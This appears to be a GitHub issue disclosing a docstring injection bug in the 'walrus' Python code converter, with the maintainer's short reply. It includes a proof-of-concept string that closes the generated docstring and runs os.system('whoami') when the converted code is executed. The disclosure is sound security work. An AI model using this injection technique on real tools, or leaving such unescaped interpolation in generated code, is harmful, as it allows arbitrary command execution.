Docstring Injection Vulnerability

[gousaiyang]

Describe the bug Docstring injection is possible in walrus wrapper functions, rendering invalid code, which could even cause a security vulnerability.

To reproduce Generate invalid code:

>>> import walrus
>>> code = '(a:="""s""")'
>>> converted_code = walrus.convert(code)
>>> print(converted_code)
a = locals().get('a')

def __walrus_wrapper_a_2800e7d9867b432c9bf27c087a79f93b():
    """Wrapper function for assignment expression `"""s"""`."""
    global a
    a = """s"""
    return a
(__walrus_wrapper_a_2800e7d9867b432c9bf27c087a79f93b())
>>> exec(code)
>>> a
's'
>>> exec(converted_code)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 4
    """Wrapper function for assignment expression `"""s"""`."""
                                                      ^
SyntaxError: invalid syntax

Exploit the security vulnerability:

>>> import walrus
>>> code = '(a:="""\n    __import__(\'os\').system(\'whoami\')#""")'
>>> converted_code = walrus.convert(code)
>>> exec(code)
>>> a
"\n    __import__('os').system('whoami')#"
>>> print(converted_code)
a = locals().get('a')

def __walrus_wrapper_a_cc9aea47bf50406eba8e7b00edf53b22():
    """Wrapper function for assignment expression `"""
    __import__('os').system('whoami')#"""`."""
    global a
    a = """
    __import__('os').system('whoami')#"""
    return a
(__walrus_wrapper_a_cc9aea47bf50406eba8e7b00edf53b22())
>>> exec(converted_code)
(the `whoami` command gets executed)

Expected behavior Walrus should generate valid code to calculate a, and the command in string a should not be executed (the original code was just an assignment rather than command execution).

Suggested fix Do not generate this docstring. It will be hard if you try to "escape" all possible expressions.

Related material See this CTF challenge with similar logic, in which users can use */ to close PHP comments and inject arbitrary code.

[JarryShaw]

Noted. Though the docstring code will get executed anyway :)